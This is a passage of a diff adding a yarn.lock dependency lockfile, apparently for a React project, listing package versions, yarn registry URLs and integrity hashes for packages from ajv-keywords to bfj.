"https://registry.yarnpkg.com/ajv-keywords/-/ajv-keywords-3.5.2.tgz#31f29da5ab6e00d1c2d329acf7b5929614d5014d" + integrity sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ== + +ajv@^6.1.0, ajv@^6.10.0, ajv@^6.10.2, ajv@^6.12.3, ajv@^6.12.4, ajv@^6.12.5: + version "6.12.6" + resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4" + integrity sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g== + dependencies: + fast-deep-equal "^3.1.1" + fast-json-stable-stringify "^2.0.0" + json-schema-traverse "^0.4.1" + uri-js "^4.2.2" + +ajv@^7.0.2: + version "7.1.1" + resolved "https://registry.yarnpkg.com/ajv/-/ajv-7.1.1.tgz#1e6b37a454021fa9941713f38b952fc1c8d32a84" + integrity sha512-ga/aqDYnUy/o7vbsRTFhhTsNeXiYb5JWDIcRIeZfwRNCefwjNTVYCGdGSUrEmiu3yDK3vFvNbgJxvrQW4JXrYQ== + dependencies: + fast-deep-equal "^3.1.1" + json-schema-traverse "^1.0.0" + require-from-string "^2.0.2" + uri-js "^4.2.2" + +alphanum-sort@^1.0.0: + version "1.0.2" + resolved "https://registry.yarnpkg.com/alphanum-sort/-/alphanum-sort-1.0.2.tgz#97a1119649b211ad33691d9f9f486a8ec9fbe0a3" + integrity sha1-l6ERlkmyEa0zaR2fn0hqjsn74KM= + +ansi-colors@^3.0.0: + version "3.2.4" + resolved "https://registry.yarnpkg.com/ansi-colors/-/ansi-colors-3.2.4.tgz#e3a3da4bfbae6c86a9c285625de124a234026fbf" + integrity sha512-hHUXGagefjN2iRrID63xckIvotOXOojhQKWIPUZ4mNUZ9nLZW+7FMNoE1lOkEhNWYsx/7ysGIuJYCiMAA9FnrA== + +ansi-colors@^4.1.1: + version "4.1.1" + resolved "https://registry.yarnpkg.com/ansi-colors/-/ansi-colors-4.1.1.tgz#cbb9ae256bf750af1eab344f229aa27fe94ba348" + integrity sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA== + +ansi-escapes@^4.2.1, ansi-escapes@^4.3.1: + version "4.3.1" + resolved "https://registry.yarnpkg.com/ansi-escapes/-/ansi-escapes-4.3.1.tgz#a5c47cc43181f1f38ffd7076837700d395522a61" + integrity sha512-JWF7ocqNrp8u9oqpgV+wH5ftbt+cfvv+PTjOvKLT3AdYly/LmORARfEVT1iyjwN+4MqE5UmVKoAdIBqeoCHgLA== + dependencies: + type-fest "^0.11.0" + +ansi-html@0.0.7, ansi-html@^0.0.7: + version "0.0.7" + resolved "https://registry.yarnpkg.com/ansi-html/-/ansi-html-0.0.7.tgz#813584021962a9e9e6fd039f940d12f56ca7859e" + integrity sha1-gTWEAhliqenm/QOflA0S9WynhZ4= + +ansi-regex@^2.0.0: + version "2.1.1" + resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-2.1.1.tgz#c3b33ab5ee360d86e0e628f0468ae7ef27d654df" + integrity sha1-w7M6te42DYbg5ijwRorn7yfWVN8= + +ansi-regex@^4.1.0: + version "4.1.0" + resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-4.1.0.tgz#8b9f8f08cf1acb843756a839ca8c7e3168c51997" + integrity sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg== + +ansi-regex@^5.0.0: + version "5.0.0" + resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.0.tgz#388539f55179bf39339c81af30a654d69f87cb75" + integrity sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg== + +ansi-styles@^3.2.0, ansi-styles@^3.2.1: + version "3.2.1" + resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d" + integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA== + dependencies: + color-convert "^1.9.0" + +ansi-styles@^4.0.0, ansi-styles@^4.1.0: + version "4.3.0" + resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937" + integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg== + dependencies: + color-convert "^2.0.1" + +anymatch@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-2.0.0.tgz#bcb24b4f37934d9aa7ac17b4adaf89e7c76ef2eb" + integrity sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw== + dependencies: + micromatch "^3.1.4" + normalize-path "^2.1.1" + +anymatch@^3.0.3, anymatch@~3.1.1: + version "3.1.1" + resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.1.tgz#c55ecf02185e2469259399310c173ce31233b142" + integrity sha512-mM8522psRCqzV+6LhomX5wgp25YVibjh8Wj23I5RPkPppSVSjyKD2A2mBJmWGa+KN7f2D6LNh9jkBCeyLktzjg== + dependencies: + normalize-path "^3.0.0" + picomatch "^2.0.4" + +aproba@^1.1.1: + version "1.2.0" + resolved "https://registry.yarnpkg.com/aproba/-/aproba-1.2.0.tgz#6802e6264efd18c790a1b0d517f0f2627bf2c94a" + integrity sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw== + +argparse@^1.0.7: + version "1.0.10" + resolved "https://registry.yarnpkg.com/argparse/-/argparse-1.0.10.tgz#bcd6791ea5ae09725e17e5ad988134cd40b3d911" + integrity sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg== + dependencies: + sprintf-js "~1.0.2" + +aria-query@^4.2.2: + version "4.2.2" + resolved "https://registry.yarnpkg.com/aria-query/-/aria-query-4.2.2.tgz#0d2ca6c9aceb56b8977e9fed6aed7e15bbd2f83b" + integrity sha512-o/HelwhuKpTj/frsOsbNLNgnNGVIFsVP/SW2BSF14gVl7kAfMOJ6/8wUAUvG1R1NHKrfG+2sHZTu0yauT1qBrA== + dependencies: + "@babel/runtime" "^7.10.2" + "@babel/runtime-corejs3" "^7.10.2" + +arity-n@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/arity-n/-/arity-n-1.0.4.tgz#d9e76b11733e08569c0847ae7b39b2860b30b745" + integrity sha1-2edrEXM+CFacCEeuezmyhgswt0U= + +arr-diff@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/arr-diff/-/arr-diff-4.0.0.tgz#d6461074febfec71e7e15235761a329a5dc7c520" + integrity sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA= + +arr-flatten@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/arr-flatten/-/arr-flatten-1.1.0.tgz#36048bbff4e7b47e136644316c99669ea5ae91f1" + integrity sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg== + +arr-union@^3.1.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/arr-union/-/arr-union-3.1.0.tgz#e39b09aea9def866a8f206e288af63919bae39c4" + integrity sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ= + +array-flatten@1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2" + integrity sha1-ml9pkFGx5wczKPKgCJaLZOopVdI= + +array-flatten@^2.1.0: + version "2.1.2" + resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-2.1.2.tgz#24ef80a28c1a893617e2149b0c6d0d788293b099" + integrity sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ== + +array-includes@^3.1.1, array-includes@^3.1.2: + version "3.1.3" + resolved "https://registry.yarnpkg.com/array-includes/-/array-includes-3.1.3.tgz#c7f619b382ad2afaf5326cddfdc0afc61af7690a" + integrity sha512-gcem1KlBU7c9rB+Rq8/3PPKsK2kjqeEBa3bD5kkQo4nYlOHQCJqIJFqBXDEfwaRuYTT4E+FxA9xez7Gf/e3Q7A== + dependencies: + call-bind "^1.0.2" + define-properties "^1.1.3" + es-abstract "^1.18.0-next.2" + get-intrinsic "^1.1.1" + is-string "^1.0.5" + +array-union@^1.0.1: + version "1.0.2" + resolved "https://registry.yarnpkg.com/array-union/-/array-union-1.0.2.tgz#9a34410e4f4e3da23dea375be5be70f24778ec39" + integrity sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk= + dependencies: + array-uniq "^1.0.1" + +array-union@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/array-union/-/array-union-2.1.0.tgz#b798420adbeb1de828d84acd8a2e23d3efe85e8d" + integrity sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw== + +array-uniq@^1.0.1: + version "1.0.3" + resolved "https://registry.yarnpkg.com/array-uniq/-/array-uniq-1.0.3.tgz#af6ac877a25cc7f74e058894753858dfdb24fdb6" + integrity sha1-r2rId6Jcx/dOBYiUdThY39sk/bY= + +array-unique@^0.3.2: + version "0.3.2" + resolved "https://registry.yarnpkg.com/array-unique/-/array-unique-0.3.2.tgz#a894b75d4bc4f6cd679ef3244a9fd8f46ae2d428" + integrity sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg= + +array.prototype.flat@^1.2.3: + version "1.2.4" + resolved "https://registry.yarnpkg.com/array.prototype.flat/-/array.prototype.flat-1.2.4.tgz#6ef638b43312bd401b4c6199fdec7e2dc9e9a123" + integrity sha512-4470Xi3GAPAjZqFcljX2xzckv1qeKPizoNkiS0+O4IoPR2ZNpcjE0pkhdihlDouK+x6QOast26B4Q/O9DJnwSg== + dependencies: + call-bind "^1.0.0" + define-properties "^1.1.3" + es-abstract "^1.18.0-next.1" + +array.prototype.flatmap@^1.2.3: + version "1.2.4" + resolved "https://registry.yarnpkg.com/array.prototype.flatmap/-/array.prototype.flatmap-1.2.4.tgz#94cfd47cc1556ec0747d97f7c7738c58122004c9" + integrity sha512-r9Z0zYoxqHz60vvQbWEdXIEtCwHF0yxaWfno9qzXeNHvfyl3BZqygmGzb84dsubyaXLH4husF+NFgMSdpZhk2Q== + dependencies: + call-bind "^1.0.0" + define-properties "^1.1.3" + es-abstract "^1.18.0-next.1" + function-bind "^1.1.1" + +arrify@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/arrify/-/arrify-2.0.1.tgz#c9655e9331e0abcd588d2a7cad7e9956f66701fa" + integrity sha512-3duEwti880xqi4eAMN8AyR4a0ByT90zoYdLlevfrvU43vb0YZwZVfxOgxWrLXXXpyugL0hNZc9G6BiB5B3nUug== + +asap@~2.0.6: + version "2.0.6" + resolved "https://registry.yarnpkg.com/asap/-/asap-2.0.6.tgz#e50347611d7e690943208bbdafebcbc2fb866d46" + integrity sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY= + +asn1.js@^5.2.0: + version "5.4.1" + resolved "https://registry.yarnpkg.com/asn1.js/-/asn1.js-5.4.1.tgz#11a980b84ebb91781ce35b0fdc2ee294e3783f07" + integrity sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA== + dependencies: + bn.js "^4.0.0" + inherits "^2.0.1" + minimalistic-assert "^1.0.0" + safer-buffer "^2.1.0" + +asn1@~0.2.3: + version "0.2.4" + resolved "https://registry.yarnpkg.com/asn1/-/asn1-0.2.4.tgz#8d2475dfab553bb33e77b54e59e880bb8ce23136" + integrity sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg== + dependencies: + safer-buffer "~2.1.0" + +assert-plus@1.0.0, assert-plus@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/assert-plus/-/assert-plus-1.0.0.tgz#f12e0f3c5d77b0b1cdd9146942e4e96c1e4dd525" + integrity sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU= + +assert@^1.1.1: + version "1.5.0" + resolved "https://registry.yarnpkg.com/assert/-/assert-1.5.0.tgz#55c109aaf6e0aefdb3dc4b71240c70bf574b18eb" + integrity sha512-EDsgawzwoun2CZkCgtxJbv392v4nbk9XDD06zI+kQYoBM/3RBWLlEyJARDOmhAAosBjWACEkKL6S+lIZtcAubA== + dependencies: + object-assign "^4.1.1" + util "0.10.3" + +assign-symbols@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/assign-symbols/-/assign-symbols-1.0.0.tgz#59667f41fadd4f20ccbc2bb96b8d4f7f78ec0367" + integrity sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c= + +ast-types-flow@^0.0.7: + version "0.0.7" + resolved "https://registry.yarnpkg.com/ast-types-flow/-/ast-types-flow-0.0.7.tgz#f70b735c6bca1a5c9c22d982c3e39e7feba3bdad" + integrity sha1-9wtzXGvKGlycItmCw+Oef+ujva0= + +astral-regex@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/astral-regex/-/astral-regex-2.0.0.tgz#483143c567aeed4785759c0865786dc77d7d2e31" + integrity sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ== + +async-each@^1.0.1: + version "1.0.3" + resolved "https://registry.yarnpkg.com/async-each/-/async-each-1.0.3.tgz#b727dbf87d7651602f06f4d4ac387f47d91b0cbf" + integrity sha512-z/WhQ5FPySLdvREByI2vZiTWwCnF0moMJ1hK9YQwDTHKh6I7/uSckMetoRGb5UBZPC1z0jlw+n/XCgjeH7y1AQ== + +async-limiter@~1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/async-limiter/-/async-limiter-1.0.1.tgz#dd379e94f0db8310b08291f9d64c3209766617fd" + integrity sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ== + +async@^2.6.2: + version "2.6.3" + resolved "https://registry.yarnpkg.com/async/-/async-2.6.3.tgz#d72625e2344a3656e3a3ad4fa749fa83299d82ff" + integrity sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg== + dependencies: + lodash "^4.17.14" + +asynckit@^0.4.0: + version "0.4.0" + resolved "https://registry.yarnpkg.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79" + integrity sha1-x57Zf380y48robyXkLzDZkdLS3k= + +at-least-node@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/at-least-node/-/at-least-node-1.0.0.tgz#602cd4b46e844ad4effc92a8011a3c46e0238dc2" + integrity sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg== + +atob@^2.1.2: + version "2.1.2" + resolved "https://registry.yarnpkg.com/atob/-/atob-2.1.2.tgz#6d9517eb9e030d2436666651e86bd9f6f13533c9" + integrity sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg== + +autoprefixer@^9, autoprefixer@^9.6.1: + version "9.8.6" + resolved "https://registry.yarnpkg.com/autoprefixer/-/autoprefixer-9.8.6.tgz#3b73594ca1bf9266320c5acf1588d74dea74210f" + integrity sha512-XrvP4VVHdRBCdX1S3WXVD8+RyG9qeb1D5Sn1DeLiG2xfSpzellk5k54xbUERJ3M5DggQxes39UGOTP8CFrEGbg== + dependencies: + browserslist "^4.12.0" + caniuse-lite "^1.0.30001109" + colorette "^1.2.1" + normalize-range "^0.1.2" + num2fraction "^1.2.2" + postcss "^7.0.32" + postcss-value-parser "^4.1.0" + +aws-sign2@~0.7.0: + version "0.7.0" + resolved "https://registry.yarnpkg.com/aws-sign2/-/aws-sign2-0.7.0.tgz#b46e890934a9591f2d2f6f86d7e6a9f1b3fe76a8" + integrity sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg= + +aws4@^1.8.0: + version "1.11.0" + resolved "https://registry.yarnpkg.com/aws4/-/aws4-1.11.0.tgz#d61f46d83b2519250e2784daf5b09479a8b41c59" + integrity sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA== + +axe-core@^4.0.2: + version "4.1.2" + resolved "https://registry.yarnpkg.com/axe-core/-/axe-core-4.1.2.tgz#7cf783331320098bfbef620df3b3c770147bc224" + integrity sha512-V+Nq70NxKhYt89ArVcaNL9FDryB3vQOd+BFXZIfO3RP6rwtj+2yqqqdHEkacutglPaZLkJeuXKCjCJDMGPtPqg== + +axobject-query@^2.2.0: + version "2.2.0" + resolved "https://registry.yarnpkg.com/axobject-query/-/axobject-query-2.2.0.tgz#943d47e10c0b704aa42275e20edf3722648989be" + integrity sha512-Td525n+iPOOyUQIeBfcASuG6uJsDOITl7Mds5gFyerkWiX7qhUTdYUBlSgNMyVqtSJqwpt1kXGLdUt6SykLMRA== + +babel-eslint@^10.1.0: + version "10.1.0" + resolved "https://registry.yarnpkg.com/babel-eslint/-/babel-eslint-10.1.0.tgz#6968e568a910b78fb3779cdd8b6ac2f479943232" + integrity sha512-ifWaTHQ0ce+448CYop8AdrQiBsGrnC+bMgfyKFdi6EsPLTAWG+QfyDeM6OH+FmWnKvEq5NnBMLvlBUPKQZoDSg== + dependencies: + "@babel/code-frame" "^7.0.0" + "@babel/parser" "^7.7.0" + "@babel/traverse" "^7.7.0" + "@babel/types" "^7.7.0" + eslint-visitor-keys "^1.0.0" + resolve "^1.12.0" + +babel-extract-comments@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/babel-extract-comments/-/babel-extract-comments-1.0.0.tgz#0a2aedf81417ed391b85e18b4614e693a0351a21" + integrity sha512-qWWzi4TlddohA91bFwgt6zO/J0X+io7Qp184Fw0m2JYRSTZnJbFR8+07KmzudHCZgOiKRCrjhylwv9Xd8gfhVQ== + dependencies: + babylon "^6.18.0" + +babel-jest@^26.6.0, babel-jest@^26.6.3: + version "26.6.3" + resolved "https://registry.yarnpkg.com/babel-jest/-/babel-jest-26.6.3.tgz#d87d25cb0037577a0c89f82e5755c5d293c01056" + integrity sha512-pl4Q+GAVOHwvjrck6jKjvmGhnO3jHX/xuB9d27f+EJZ/6k+6nMuPjorrYp7s++bKKdANwzElBWnLWaObvTnaZA== + dependencies: + "@jest/transform" "^26.6.2" + "@jest/types" "^26.6.2" + "@types/babel__core" "^7.1.7" + babel-plugin-istanbul "^6.0.0" + babel-preset-jest "^26.6.2" + chalk "^4.0.0" + graceful-fs "^4.2.4" + slash "^3.0.0" + +babel-loader@8.1.0: + version "8.1.0" + resolved "https://registry.yarnpkg.com/babel-loader/-/babel-loader-8.1.0.tgz#c611d5112bd5209abe8b9fa84c3e4da25275f1c3" + integrity sha512-7q7nC1tYOrqvUrN3LQK4GwSk/TQorZSOlO9C+RZDZpODgyN4ZlCqE5q9cDsyWOliN+aU9B4JX01xK9eJXowJLw== + dependencies: + find-cache-dir "^2.1.0" + loader-utils "^1.4.0" + mkdirp "^0.5.3" + pify "^4.0.1" + schema-utils "^2.6.5" + +babel-plugin-dynamic-import-node@^2.3.3: + version "2.3.3" + resolved "https://registry.yarnpkg.com/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz#84fda19c976ec5c6defef57f9427b3def66e17a3" + integrity sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ== + dependencies: + object.assign "^4.1.0" + +babel-plugin-istanbul@^6.0.0: + version "6.0.0" + resolved "https://registry.yarnpkg.com/babel-plugin-istanbul/-/babel-plugin-istanbul-6.0.0.tgz#e159ccdc9af95e0b570c75b4573b7c34d671d765" + integrity sha512-AF55rZXpe7trmEylbaE1Gv54wn6rwU03aptvRoVIGP8YykoSxqdVLV1TfwflBCE/QtHmqtP8SWlTENqbK8GCSQ== + dependencies: + "@babel/helper-plugin-utils" "^7.0.0" + "@istanbuljs/load-nyc-config" "^1.0.0" + "@istanbuljs/schema" "^0.1.2" + istanbul-lib-instrument "^4.0.0" + test-exclude "^6.0.0" + +babel-plugin-jest-hoist@^26.6.2: + version "26.6.2" + resolved "https://registry.yarnpkg.com/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-26.6.2.tgz#8185bd030348d254c6d7dd974355e6a28b21e62d" + integrity sha512-PO9t0697lNTmcEHH69mdtYiOIkkOlj9fySqfO3K1eCcdISevLAE0xY59VLLUj0SoiPiTX/JU2CYFpILydUa5Lw== + dependencies: + "@babel/template" "^7.3.3" + "@babel/types" "^7.3.3" + "@types/babel__core" "^7.0.0" + "@types/babel__traverse" "^7.0.6" + +babel-plugin-macros@2.8.0: + version "2.8.0" + resolved "https://registry.yarnpkg.com/babel-plugin-macros/-/babel-plugin-macros-2.8.0.tgz#0f958a7cc6556b1e65344465d99111a1e5e10138" + integrity sha512-SEP5kJpfGYqYKpBrj5XU3ahw5p5GOHJ0U5ssOSQ/WBVdwkD2Dzlce95exQTs3jOVWPPKLBN2rlEWkCK7dSmLvg== + dependencies: + "@babel/runtime" "^7.7.2" + cosmiconfig "^6.0.0" + resolve "^1.12.0" + +babel-plugin-named-asset-import@^0.3.7: + version "0.3.7" + resolved "https://registry.yarnpkg.com/babel-plugin-named-asset-import/-/babel-plugin-named-asset-import-0.3.7.tgz#156cd55d3f1228a5765774340937afc8398067dd" + integrity sha512-squySRkf+6JGnvjoUtDEjSREJEBirnXi9NqP6rjSYsylxQxqBTz+pkmf395i9E2zsvmYUaI40BHo6SqZUdydlw== + +babel-plugin-syntax-object-rest-spread@^6.8.0: + version "6.13.0" + resolved "https://registry.yarnpkg.com/babel-plugin-syntax-object-rest-spread/-/babel-plugin-syntax-object-rest-spread-6.13.0.tgz#fd6536f2bce13836ffa3a5458c4903a597bb3bf5" + integrity sha1-/WU28rzhODb/o6VFjEkDpZe7O/U= + +babel-plugin-transform-object-rest-spread@^6.26.0: + version "6.26.0" + resolved "https://registry.yarnpkg.com/babel-plugin-transform-object-rest-spread/-/babel-plugin-transform-object-rest-spread-6.26.0.tgz#0f36692d50fef6b7e2d4b3ac1478137a963b7b06" + integrity sha1-DzZpLVD+9rfi1LOsFHgTepY7ewY= + dependencies: + babel-plugin-syntax-object-rest-spread "^6.8.0" + babel-runtime "^6.26.0" + +babel-plugin-transform-react-remove-prop-types@0.4.24: + version "0.4.24" + resolved "https://registry.yarnpkg.com/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz#f2edaf9b4c6a5fbe5c1d678bfb531078c1555f3a" + integrity sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA== + +babel-preset-current-node-syntax@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.0.1.tgz#b4399239b89b2a011f9ddbe3e4f401fc40cff73b" + integrity sha512-M7LQ0bxarkxQoN+vz5aJPsLBn77n8QgTFmo8WK0/44auK2xlCXrYcUxHFxgU7qW5Yzw/CjmLRK2uJzaCd7LvqQ== + dependencies: + "@babel/plugin-syntax-async-generators" "^7.8.4" + "@babel/plugin-syntax-bigint" "^7.8.3" + "@babel/plugin-syntax-class-properties" "^7.8.3" + "@babel/plugin-syntax-import-meta" "^7.8.3" + "@babel/plugin-syntax-json-strings" "^7.8.3" + "@babel/plugin-syntax-logical-assignment-operators" "^7.8.3" + "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3" + "@babel/plugin-syntax-numeric-separator" "^7.8.3" + "@babel/plugin-syntax-object-rest-spread" "^7.8.3" + "@babel/plugin-syntax-optional-catch-binding" "^7.8.3" + "@babel/plugin-syntax-optional-chaining" "^7.8.3" + "@babel/plugin-syntax-top-level-await" "^7.8.3" + +babel-preset-jest@^26.6.2: + version "26.6.2" + resolved "https://registry.yarnpkg.com/babel-preset-jest/-/babel-preset-jest-26.6.2.tgz#747872b1171df032252426586881d62d31798fee" + integrity sha512-YvdtlVm9t3k777c5NPQIv6cxFFFapys25HiUmuSgHwIZhfifweR5c5Sf5nwE3MAbfu327CYSvps8Yx6ANLyleQ== + dependencies: + babel-plugin-jest-hoist "^26.6.2" + babel-preset-current-node-syntax "^1.0.0" + +babel-preset-react-app@^10.0.0: + version "10.0.0" + resolved "https://registry.yarnpkg.com/babel-preset-react-app/-/babel-preset-react-app-10.0.0.tgz#689b60edc705f8a70ce87f47ab0e560a317d7045" + integrity sha512-itL2z8v16khpuKutx5IH8UdCdSTuzrOhRFTEdIhveZ2i1iBKDrVE0ATa4sFVy+02GLucZNVBWtoarXBy0Msdpg== + dependencies: + "@babel/core" "7.12.3" + "@babel/plugin-proposal-class-properties" "7.12.1" + "@babel/plugin-proposal-decorators" "7.12.1" + "@babel/plugin-proposal-nullish-coalescing-operator" "7.12.1" + "@babel/plugin-proposal-numeric-separator" "7.12.1" + "@babel/plugin-proposal-optional-chaining" "7.12.1" + "@babel/plugin-transform-flow-strip-types" "7.12.1" + "@babel/plugin-transform-react-display-name" "7.12.1" + "@babel/plugin-transform-runtime" "7.12.1" + "@babel/preset-env" "7.12.1" + "@babel/preset-react" "7.12.1" + "@babel/preset-typescript" "7.12.1" + "@babel/runtime" "7.12.1" + babel-plugin-macros "2.8.0" + babel-plugin-transform-react-remove-prop-types "0.4.24" + +babel-runtime@^6.26.0: + version "6.26.0" + resolved "https://registry.yarnpkg.com/babel-runtime/-/babel-runtime-6.26.0.tgz#965c7058668e82b55d7bfe04ff2337bc8b5647fe" + integrity sha1-llxwWGaOgrVde/4E/yM3vItWR/4= + dependencies: + core-js "^2.4.0" + regenerator-runtime "^0.11.0" + +babylon@^6.18.0: + version "6.18.0" + resolved "https://registry.yarnpkg.com/babylon/-/babylon-6.18.0.tgz#af2f3b88fa6f5c1e4c634d1a0f8eac4f55b395e3" + integrity sha512-q/UEjfGJ2Cm3oKV71DJz9d25TPnq5rhBVL2Q4fA5wcC3jcrdn7+SssEybFIxwAvvP+YCsCYNKughoF33GxgycQ== + +balanced-match@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.0.tgz#89b4d199ab2bee49de164ea02b89ce462d71b767" + integrity sha1-ibTRmasr7kneFk6gK4nORi1xt2c= + +base64-js@^1.0.2: + version "1.5.1" + resolved "https://registry.yarnpkg.com/base64-js/-/base64-js-1.5.1.tgz#1b1b440160a5bf7ad40b650f095963481903930a" + integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA== + +base@^0.11.1: + version "0.11.2" + resolved "https://registry.yarnpkg.com/base/-/base-0.11.2.tgz#7bde5ced145b6d551a90db87f83c558b4eb48a8f" + integrity sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg== + dependencies: + cache-base "^1.0.1" + class-utils "^0.3.5" + component-emitter "^1.2.1" + define-property "^1.0.0" + isobject "^3.0.1" + mixin-deep "^1.2.0" + pascalcase "^0.1.1" + +batch@0.6.1: + version "0.6.1" + resolved "https://registry.yarnpkg.com/batch/-/batch-0.6.1.tgz#dc34314f4e679318093fc760272525f94bf25c16" + integrity sha1-3DQxT05nkxgJP8dgJyUl+UvyXBY= + +bcrypt-pbkdf@^1.0.0: + version "1.0.2" + resolved "https://registry.yarnpkg.com/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz#a4301d389b6a43f9b67ff3ca11a3f6637e360e9e" + integrity sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4= + dependencies: + tweetnacl "^0.14.3" + +bfj@^7.0.2: + version "7.0.2" + resolved 